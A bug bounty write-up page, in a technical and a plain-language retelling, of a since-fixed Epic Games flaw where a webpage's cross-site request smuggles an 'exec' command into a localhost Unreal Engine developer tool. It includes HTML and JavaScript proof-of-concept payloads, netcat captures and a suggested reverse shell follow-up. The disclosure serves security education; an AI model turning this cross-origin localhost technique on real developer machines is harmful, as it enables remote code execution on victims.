Skip to content
RCE Write-up Advanced

How I made 7K on Epic Games Bug Bounty

A developer tool for Unreal Engine listened on localhost and executed commands from messages ending with a specific marker, but only accepted connections from localhost. The author showed that a malicious website could make a victim's browser send a crafted HTTP request to that local service, bypassing the localhost restriction and achieving remote code execution.

SynapticSpace Follow

Published on infosecwriteups.com

Bounty$7,000 View original

{{media:0}}

SynapticSpace, on infosecwriteups.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Epic Games runs a bug bounty programme, and the researcher chose it because it pays well and because they like the company's games. Rather than targeting Fortnite or another large title, which they considered beyond their skill level, they focused on the Unreal Engine itself, reasoning that a vulnerability in the engine would likely affect every game built on it.

After a month of reading the engine source code without findings, they moved to the developer tools that help Unreal Engine developers build their games. One of those tools exposes a service that accepts messages over a socket. Under certain conditions, a message sent to the Unreal Engine Editor causes the editor to execute arbitrary code. The catch is that the message had to come from localhost, so an attacker would have to be on the same machine as the editor. The report describes this as barely a vulnerability on its own, and the rest of the write-up is about removing that constraint. The vulnerability has since been fixed.

Setup

The researcher worked from the Unreal Engine source code and the developer tools shipped around it. No accounts, roles or specific versions are given. The proof of concept assumes the vulnerable service listens on localhost port 8080, and a netcat listener on the same port is used to observe what the browser actually sends:

Bash
nc -vlp 8080

Finding it

While reviewing the developer tools, the researcher noticed that the editor would execute arbitrary code contained in a message, but only when the message arrived from localhost. The report presents the vulnerable function as pseudo code:

Text
func parse_message(socket client_con){ byte* buf = b"" while(true){ byte* tmp = client_con.read() if(tmp == b"<EOF>"){ break } buf += tmp } DEBUG_LOG('received message of length: ' + buf.length)}

func handle_message(byte* buf){ if(buf.length > 1000){ DEBUG_LOG('message too long') return } … // parsing logic was quite different but this suffices as an example method = buf[0:4] if(method == b"exec"){ SYSTEM(buf[4:]) }}

func main(){ socket server_con = listen(localhost, PORT) while(true){ socket client_con = server_con.accept() thread.create(() => { while(true){ parse_message(client_con) })}

Two properties of this code matter. First, parse_message reads from the client socket until it encounters the string <EOF>, then hands the accumulated buffer to handle_message, which treats the first four bytes as a method name and, for exec, passes the remainder to SYSTEM. Second, after an <EOF> is read, the service calls parse_message again and again until the socket is closed, so a single connection can carry several messages. The report notes that the real parsing logic is considerably more complex and is not reproduced.

The researcher's question was how to escalate this: the service only listens on localhost, so how does an attacker get a message to it? The answer they settled on is the browser. If the attacker hosts a malicious website and convinces the victim to visit it, the browser can be made to send a request to the vulnerable local service.

Exploitation

Step 1: try the WebSocket API

The first attempt uses the browser's WebSocket API, which the report quotes as opening a two-way interactive session between the browser and a server, allowing messages to be sent and event-driven responses to be received without polling. Assuming the service runs on localhost:8080, the proof of concept is:

HTML
<html><script>var ws = new WebSocket("ws://localhost:8080");ws.onopen = function() { ws.send("execwhoami<EOF>");};</script></html>

With a netcat listener on port 8080 standing in for the service, opening the HTML file in the browser does deliver something, but not the intended message:

Text
Connection from [redacted]:46474GET / HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brSec-WebSocket-Version: 13Sec-WebSocket-Key: FzPTm4lfESwfJ1f+UdGmAA==Sec-WebSocket-Extensions: permessage-deflateSec-Fetch-Dest: emptySec-Fetch-Mode: websocketSec-Fetch-Site: cross-siteConnection: keep-alive, UpgradePragma: no-cacheCache-Control: no-cacheUpgrade: websocket

The WebSocket API is built on HTTP: the browser first sends an HTTP request and only upgrades the connection if the server replies with a valid WebSocket upgrade response. The service never answers, so no WebSocket is established, and after a five second timeout the browser logs an error in the console. The handshake mechanism therefore blocks this route.

Step 2: send an HTTP request with a crafted body

JavaScript can also send plain HTTP requests. The service reads until <EOF>, so an HTTP request whose body contains <EOF> will cause the service to parse a first, invalid message, and then keep reading from the same socket. Anything placed after that first <EOF> is processed as a fresh message. The request the researcher has in mind looks like this:

HTTP
POST / HTTP/1.1Host: localhost:8080Content-Length: XXXConnection: keep-alive(OTHER HEADERS)\r\n\r\n<EOF>execwhoami<EOF>\r\n\r\n

The JavaScript to send it is:

JavaScript
var xhr = new XMLHttpRequest();xhr.open("POST", "http://localhost:8080", true);xhr.send("execwhoami<EOF>\r\n\r\n");// now read responsexhr.onreadystatechange = () => { if (xhr.readyState === 4) { console.log(xhr.response); } };

The browser console reports an error, which looks unpromising. The netcat listener, however, shows the request did arrive:

Text
Connection from [redacted]:52592POST / HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: text/plain;charset=UTF-8Content-Length: 19Connection: keep-aliveSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-sitePragma: no-cacheCache-Control: no-cacheexecwhoami<EOF>

The body containing execwhoami<EOF> reached the listener. The console error is a CORS matter, not a delivery failure.

Step 3: ignore the response

CORS, Cross-Origin Resource Sharing, lets servers specify which origins may access their resources, and the browser enforces that policy. The key point for this attack is that CORS prevents the page from reading the response, but not from sending the request. The researcher does not need the response: the payload only has to reach the service. A payload that needs no output read back, such as a reverse shell, is therefore enough. Any developer who visits the malicious page gets a reverse shell opened on their machine.

Root cause

The service reads messages from its localhost socket until it meets the <EOF> delimiter, and resumes reading after each one. Because the parser resumes reading after each <EOF>, an attacker-controlled HTTP body can smuggle a second message past the first delimiter, and the exec method hands the remainder to SYSTEM. The service only accepts messages from localhost, and a browser running on the victim's machine can send requests to it. CORS does not help, because it restricts reading responses, not sending requests.

Impact

An attacker who can get a developer to visit a malicious page can execute arbitrary code on that developer's machine, in the context of the Unreal Engine Editor, by sending a message to the local service from the victim's browser. The report frames this as remote code execution triggered from the browser. The precondition is that the victim visits the attacker's site; the attacker does not need any presence on the victim's machine beforehand.

Fix

The report states only that the vulnerability has since been fixed and does not describe the change.

Variants to test

  1. Other developer tools that open a localhost socket and parse delimited messages. A positive result is a browser-sent HTTP request whose body causes the tool to act on content after the delimiter.
  2. Services that accept WebSocket upgrades from any origin. A positive result is a completed handshake from a page on a different origin followed by a message the service acts on.
  3. Local services that treat any request from [redacted] as trusted. A positive result is a state-changing action performed via a cross-site request the victim's browser sends without reading the response.
  4. Parsers that resume after a terminator instead of closing the connection. A positive result is a second, valid message processed from the same request body after an initial malformed one.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A security researcher found a way to make a program on a developer's own computer run commands chosen by an attacker, simply by getting that developer to open a web page. The program was part of the tools that ship with Unreal Engine, the software many game studios use to build their games. On its own the flaw looked almost harmless, because the program only listened for instructions coming from the same computer. The researcher turned that small flaw into something much bigger, reported it to Epic Games through their bug bounty programme, and was paid 7,000 US dollars. The flaw has since been fixed.

This article walks through the same story from the beginning, explaining every idea as it appears. You only need to know how to use a browser and a computer to follow it.

Two lessons first

The researcher opens with two lessons that shaped the whole report.

Always maximise impact

When you find a weakness, work out the worst thing an attacker could actually do with it, and show that to the company. Companies are often not security specialists, so they may underestimate a finding. In this case the researcher nearly did not report the bug at all, because on its own it looked minor. A friend pointed out that the impact should be pushed as far as it would go. That push is what turned a small issue into a well-paid one.

Report quality matters

When a large reward is at stake, the report should be short, easy to follow, and contain everything the company needs to reproduce the problem. If the company cannot reproduce it, they will not pay. Reviewers read many reports in a row, get tired, and will not spend long on any single one, so make yours easy to follow.

The vulnerability

The researcher picked the Epic Games bug bounty programme because it pays well and because they enjoy the company's games. They deliberately avoided Fortnite and other large titles, which they felt were beyond their skill level, and focused on the Unreal Engine instead. The reasoning: a weakness in the engine would probably affect every game built on it.

After a month of reading the engine's source code without finding anything, they moved to the developer tools that help people build games with Unreal Engine. One of those tools runs a small service that accepts messages over a socket. Under certain conditions, a message sent to the Unreal Engine Editor makes the editor execute arbitrary code. The catch: the message had to come from localhost, meaning the attacker had to be sitting at the same machine as the editor. The report calls that barely a vulnerability on its own, and the rest of the story is about removing that restriction.

A few terms are worth pinning down here, because everything later depends on them.

  • Source code is the human-readable text a program is written in. Reading it is like reading the recipe rather than tasting the cake.
  • A socket is one end of a connection between two programs, the way a phone handset is one end of a call. One program listens on a socket, another connects to it and sends data.
  • Localhost is the name a computer uses for itself. A service that listens only on localhost accepts connections only from programs running on that same machine, not from other machines on the network or the internet.
  • Arbitrary code execution means an attacker can make the program run commands of their choosing, rather than only the commands it was designed to run. It is the difference between a vending machine that only accepts its own buttons and one where a stranger can reach inside and press whatever they like.
  • The Unreal Engine Editor is the application developers keep open while building a game. It is the program that would end up running the attacker's commands.

Setup

The researcher worked from the Unreal Engine source code and the developer tools around it. No accounts, roles or specific versions are mentioned. The proof of concept assumes the vulnerable service listens on localhost port 8080, and a netcat listener on the same port is used to watch what the browser actually sends.

Bash
nc -vlp 8080

Line by line:

  • nc is netcat, a small utility that can open a network connection and print whatever arrives on it. Think of it as a bare telephone that records every word spoken into it.
  • -v means verbose: report extra detail about what happens.
  • -l means listen: wait for something to connect, rather than connecting outwards.
  • -p 8080 means use port 8080. A port is a numbered door on a computer; many programs can run on one machine, and each service answers on its own door number.

So this command opens door 8080 on the researcher's own machine and prints anything that comes through it. It stands in for the real vulnerable service, so the researcher can see exactly what the browser sends without needing the editor running.

Finding it

While reviewing the developer tools, the researcher noticed that the editor would execute arbitrary code contained in a message, but only when the message arrived from localhost. The report presents the vulnerable function as pseudo code. Pseudo code is simplified code written to show the logic, not code that would actually compile and run.

Text
func parse_message(socket client_con){ byte* buf = b"" while(true){ byte* tmp = client_con.read() if(tmp == b"<EOF>"){ break } buf += tmp } DEBUG_LOG('received message of length: ' + buf.length)}

func handle_message(byte* buf){ if(buf.length > 1000){ DEBUG_LOG('message too long') return } … // parsing logic was quite different but this suffices as an example method = buf[0:4] if(method == b"exec"){ SYSTEM(buf[4:]) }}

func main(){ socket server_con = listen(localhost, PORT) while(true){ socket client_con = server_con.accept() thread.create(() => { while(true){ parse_message(client_con) })}

Line by line, in plain words:

  • func parse_message(socket client_con) defines a function called parse_message that takes one connection, client_con, as its input. A function is a named block of instructions that can be called whenever that job is needed.
  • byte* buf = b"" creates an empty buffer. A buffer is a holding area in memory, like a bucket you pour incoming data into. The b"" notation means an empty sequence of bytes.
  • while(true){ ... } means repeat forever until something inside stops the loop.
  • byte* tmp = client_con.read() reads one piece of data from the connection and stores it in tmp.
  • if(tmp == b"<EOF>"){ break } checks whether that piece is the four characters <EOF>. EOF stands for end of file, a traditional marker meaning "the data stops here". If it matches, break leaves the loop.
  • buf += tmp otherwise appends the piece to the buffer, so the buffer grows with everything received so far.
  • DEBUG_LOG('received message of length: ' + buf.length) writes the length of the collected message to a log, a running record of what the program did.
  • func handle_message(byte* buf) defines the function that processes a complete message.
  • if(buf.length > 1000){ DEBUG_LOG('message too long') return } rejects anything longer than 1000 bytes. A byte is a single unit of data, roughly one character of text.
  • method = buf[0:4] takes the first four bytes as the method name. A method here is just a label saying what kind of action the message asks for.
  • if(method == b"exec"){ SYSTEM(buf[4:]) } is the dangerous part: if the label is exec, everything after those first four bytes is handed to SYSTEM.
  • func main() is the program's starting point.
  • socket server_con = listen(localhost, PORT) opens a listening socket bound to localhost on some port number.
  • server_con.accept() waits for an incoming connection and returns it.
  • thread.create(() => { while(true){ parse_message(client_con) } }) starts a separate thread for that connection. A thread is an independent line of work inside a program, so several connections can be handled at once. The inner while(true) calls parse_message over and over on the same connection.

Two properties of this code matter for the attack.

  1. parse_message reads from the connection until it meets the string <EOF>, then hands the collected buffer to handle_message, which treats the first four bytes as a method name and, for exec, passes the rest to SYSTEM.
  2. After an <EOF> is read, the service calls parse_message again and again until the connection closes. So one connection can carry several messages, one after another.

The report notes that the real parsing logic is considerably more complex and is not reproduced here.

The researcher's question was how to escalate this. The service only listens on localhost, so how does an attacker get a message to it? The answer they settled on is the browser. If the attacker hosts a malicious website and convinces the victim to visit it, the browser can be made to send a request to the vulnerable local service. The browser is, as the report puts it, the computer's gate to the world: it is probably the most used application on the machine, and it can send requests.

Exploitation

Step 1: try the WebSocket API

The first attempt uses the browser's WebSocket API. An API is a set of features a program offers to other programs; the browser's APIs are the features JavaScript running in a page can use. JavaScript is the programming language that runs inside web pages. WebSocket is a technology for a two-way conversation between a page and a server. The report quotes the documentation: it makes it possible to open a two-way interactive communication session between the user's browser and a server, so you can send messages and receive event-driven responses without polling the server for a reply. Polling means asking the server again and again whether anything new has happened; a WebSocket avoids that by keeping the line open.

Assuming the service runs on localhost:8080, the proof of concept is:

HTML
<html><script>var ws = new WebSocket("ws://localhost:8080");ws.onopen = function() { ws.send("execwhoami<EOF>");};</script></html>

Line by line:

  • <html> starts a web page.
  • <script> begins a block of JavaScript that the browser will run.
  • var ws = new WebSocket("ws://localhost:8080") creates a WebSocket aimed at port 8080 on the visitor's own machine. The ws:// prefix means a WebSocket connection, as opposed to http:// for a normal web request.
  • ws.onopen = function() { ... } registers code to run once the connection is open.
  • ws.send("execwhoami<EOF>") sends the text execwhoami<EOF>. Read against the pseudo code, exec is the method label and whoami is the command, a standard command that prints the current user's name. The <EOF> marks the end of the message.

With a netcat listener on port 8080 standing in for the service, opening the HTML file in the browser does deliver something, but not the intended message:

Text
Connection from [redacted]:46474GET / HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brSec-WebSocket-Version: 13Sec-WebSocket-Key: FzPTm4lfESwfJ1f+UdGmAA==Sec-WebSocket-Extensions: permessage-deflateSec-Fetch-Dest: emptySec-Fetch-Mode: websocketSec-Fetch-Site: cross-siteConnection: keep-alive, UpgradePragma: no-cacheCache-Control: no-cacheUpgrade: websocket

What arrived is an HTTP request, not the message. HTTP is the language browsers and servers use to exchange web pages and data. A request has a first line saying what is wanted, then a set of headers, which are labelled lines of extra information. Here GET / HTTP/1.1 asks for the root path using version 1.1 of HTTP; Host: localhost:8080 says which service is being addressed; User-Agent describes the browser; Sec-WebSocket-Version, Sec-WebSocket-Key and Sec-WebSocket-Extensions are the opening moves of a WebSocket handshake; Upgrade: websocket asks to switch the connection to WebSocket; Sec-Fetch-Site: cross-site records that the request comes from a page on a different site than the target.

The WebSocket API is built on top of HTTP. The browser first sends an HTTP request and only upgrades the connection to a WebSocket if the server replies with a valid WebSocket upgrade response. A handshake is that opening exchange, like two people agreeing on a language before talking. The service never answers, so no WebSocket is established, and after a five second timeout the browser logs an error in the console. The console is the browser's built-in panel where pages and errors print messages. The handshake mechanism therefore blocks this route.

Step 2: send an HTTP request with a crafted body

JavaScript can also send plain HTTP requests. The service reads until <EOF>, so an HTTP request whose body contains <EOF> will make the service parse a first, invalid message, and then keep reading from the same connection. Anything placed after that first <EOF> is processed as a fresh message. The body of an HTTP request is the payload carried after the headers, the way an envelope has an address on the outside and a letter inside.

The request the researcher has in mind looks like this:

HTTP
POST / HTTP/1.1Host: localhost:8080Content-Length: XXXConnection: keep-alive(OTHER HEADERS)\r\n\r\n<EOF>execwhoami<EOF>\r\n\r\n

Line by line:

  • POST / HTTP/1.1 is a request that carries data to the server, as opposed to GET, which only asks for something.
  • Host: localhost:8080 addresses the service on the visitor's own machine.
  • Content-Length: XXX would state how many bytes the body contains. XXX is a placeholder for the real number.
  • Connection: keep-alive asks to keep the connection open after this request, so more data can follow.
  • (OTHER HEADERS) stands for the headers the browser adds by itself.
  • \r\n\r\n is the blank line that separates headers from the body. \r\n means a carriage return followed by a line feed, the standard way to end a line in HTTP.
  • <EOF> ends the first, deliberately malformed message, so the service stops parsing it and goes back to reading.
  • execwhoami<EOF> is the real message: method exec, command whoami, terminated by <EOF>.
  • The final \r\n\r\n closes things off.

The JavaScript to send it is:

JavaScript
var xhr = new XMLHttpRequest();xhr.open("POST", "http://localhost:8080", true);xhr.send("execwhoami<EOF>\r\n\r\n");// now read responsexhr.onreadystatechange = () => { if (xhr.readyState === 4) { console.log(xhr.response); } };

Line by line:

  • var xhr = new XMLHttpRequest() creates a request object. XMLHttpRequest is the older, widely supported way for JavaScript to talk to a server.
  • xhr.open("POST", "http://localhost:8080", true) prepares a POST to port 8080 on the visitor's machine. The true means do it asynchronously, so the page does not freeze while waiting.
  • xhr.send("execwhoami<EOF>\r\n\r\n") sends the body. This is the payload: the first <EOF> ends a junk message, and execwhoami<EOF> is the message the service will act on.
  • xhr.onreadystatechange = () => { ... } registers code to run whenever the request's state changes.
  • if (xhr.readyState === 4) checks whether the request has finished. readyState is a number describing progress, and 4 means done.
  • console.log(xhr.response) prints the server's reply to the browser console.

The browser console reports an error, which looks unpromising. The netcat listener, however, shows the request did arrive:

Text
Connection from [redacted]:52592POST / HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: text/plain;charset=UTF-8Content-Length: 19Connection: keep-aliveSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-sitePragma: no-cacheCache-Control: no-cacheexecwhoami<EOF>

Reading this capture: POST / HTTP/1.1 and Host: localhost:8080 show the request reached the right place; Content-Type: text/plain;charset=UTF-8 says the body is plain text; Content-Length: 19 says the body is 19 bytes long; Sec-Fetch-Mode: cors records that the browser treated this as a cross-origin request; and the last line, execwhoami<EOF>, is the payload itself, delivered intact.

The body containing execwhoami<EOF> reached the listener. The console error is a CORS matter, not a delivery failure.

Step 3: ignore the response

CORS, Cross-Origin Resource Sharing, lets servers specify which origins may access their resources, and the browser enforces that policy. An origin is the combination of scheme, host and port that a page comes from, so a page on one site and a service on localhost are different origins. The everyday comparison: a bank's website can tell the browser "only pages from the bank may read my data", and the browser then refuses to hand that data to any other page.

The key point for this attack is that CORS prevents the page from reading the response, but not from sending the request. The researcher does not need the response: the payload only has to reach the service. A payload that needs no output read back, such as a reverse shell, is therefore enough. A reverse shell is a connection the victim's machine opens back to the attacker and then treats as a command line, so the attacker can type commands and see the results without ever reading anything through the browser.

Any developer who visits the malicious page gets a reverse shell opened on their machine.

Root cause

The service reads messages from its localhost connection until it meets the <EOF> delimiter, and resumes reading after each one. Framing is how a receiver decides where one message ends and the next begins, like punctuation in a sentence. Because the parser resumes reading after each <EOF>, an attacker-controlled HTTP body can smuggle a second message past the first delimiter, and the exec method hands the remainder to SYSTEM. The service only accepts messages from localhost, and a browser running on the victim's machine can send requests to it. CORS does not help, because it restricts reading responses, not sending requests.

Impact

An attacker who can get a developer to visit a malicious page can execute arbitrary code on that developer's machine, in the context of the Unreal Engine Editor, by sending a message to the local service from the victim's browser. The report frames this as remote code execution triggered from the browser. The precondition is that the victim visits the attacker's site; the attacker does not need any presence on the victim's machine beforehand.

Fix

The report states only that the vulnerability has since been fixed and does not describe the change.

Variants to test

  1. Other developer tools that open a localhost connection and parse delimited messages. A positive result is a browser-sent HTTP request whose body causes the tool to act on content after the delimiter.
  2. Services that accept WebSocket upgrades from any origin. A positive result is a completed handshake from a page on a different origin followed by a message the service acts on.
  3. Local services that treat any request from [redacted] as trusted. [redacted] is the numeric address of localhost. A positive result is a state-changing action performed via a cross-site request the victim's browser sends without reading the response.
  4. Parsers that resume after a terminator instead of closing the connection. A positive result is a second, valid message processed from the same request body after an initial malformed one.

Glossary

  • API: a set of features one program offers to another; in a browser, the features JavaScript can use.
  • Arbitrary code execution: making a program run commands of the attacker's choosing.
  • Body: the data part of an HTTP request, carried after the headers.
  • Buffer: a holding area in memory where incoming data is collected.
  • Byte: a single unit of data, roughly one character of text.
  • CORS (Cross-Origin Resource Sharing): a rule set by servers, enforced by browsers, saying which origins may read their responses.
  • Console: the browser panel where pages and errors print messages.
  • Delimiter: a marker that says where one piece of data ends and the next begins, here <EOF>.
  • EOF: end of file, a traditional marker meaning the data stops here.
  • Framing: how a receiver decides where one message ends and the next starts.
  • Function: a named block of instructions that can be called when needed.
  • Handshake: the opening exchange where two sides agree how to talk, as in a WebSocket upgrade.
  • Header: a labelled line of extra information in an HTTP request or response.
  • HTTP: the language browsers and servers use to exchange web pages and data.
  • JavaScript: the programming language that runs inside web pages.
  • Localhost: the name a computer uses for itself; a service on localhost accepts only local connections.
  • Method: here, a label at the start of a message saying what kind of action is requested.
  • Netcat: a small utility that opens a network connection and prints what arrives on it.
  • Origin: the combination of scheme, host and port a page comes from.
  • Polling: repeatedly asking a server whether anything new has happened.
  • Port: a numbered door on a computer that a particular service answers on.
  • Pseudo code: simplified code written to show logic, not meant to run.
  • Remote code execution: running attacker-chosen commands on a machine the attacker does not physically control.
  • Reverse shell: a connection the victim's machine opens back to the attacker and treats as a command line.
  • Socket: one end of a connection between two programs.
  • Source code: the human-readable text a program is written in.
  • SYSTEM: a standard way for a program to ask the operating system to run a command.
  • Thread: an independent line of work inside a program, letting it do several things at once.
  • WebSocket: a technology for a two-way conversation between a page and a server.
  • XMLHttpRequest: the older, widely supported way for JavaScript to send requests to a server.

More from Epic Games

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.